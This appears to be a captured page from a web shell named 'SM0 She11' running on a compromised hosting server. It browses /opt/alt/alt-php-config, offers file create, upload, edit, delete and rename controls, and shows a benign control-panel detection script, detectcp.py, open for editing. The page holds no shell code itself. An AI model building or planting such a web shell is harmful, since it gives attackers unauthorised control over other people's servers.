SM0 She11
Path:
/
/
opt
/
alt
/
alt-php-config
Full Path (server): /opt/alt/alt-php-config
Create Fil3
Upl04d Fil3
📁 __pycache__
Open
[D]
[R]
📄 alt-php-panel-configuration.py
[E]
[D]
[R]
📄 alt-php.cfg
[E]
[D]
[R]
📄 detectcp.py
[E]
[D]
[R]
📄 install_odbc
[E]
[D]
[R]
📄 multiphp_reconfigure.py
[E]
[D]
[R]
Editing: detectcp.py
#!/usr/libexec/platform-python # -*- mode:python; coding:utf-8; -*- import os def getCPName(): # cPanel if os.path.isfile('/usr/local/cpanel/cpanel'): return "cPanel" # DirectAdmin if os.path.isfile('/usr/local/directadmin/directadmin') or \ os.path.isfile('/usr/local/directadmin/custombuild/build'): return "DirectAdmin" # InterWorx if os.path.isfile('/usr/local/interworx/iworx.ini'): return "InterWorx" # ISPManager if os.path.isfile('/usr/local/ispmgr/bin/ispmgr'): return "ISPManager" # Plesk if os.path.isfile('/usr/local/psa/version'): return "Plesk" # Unknown panel / No panel return "Unknown"
Save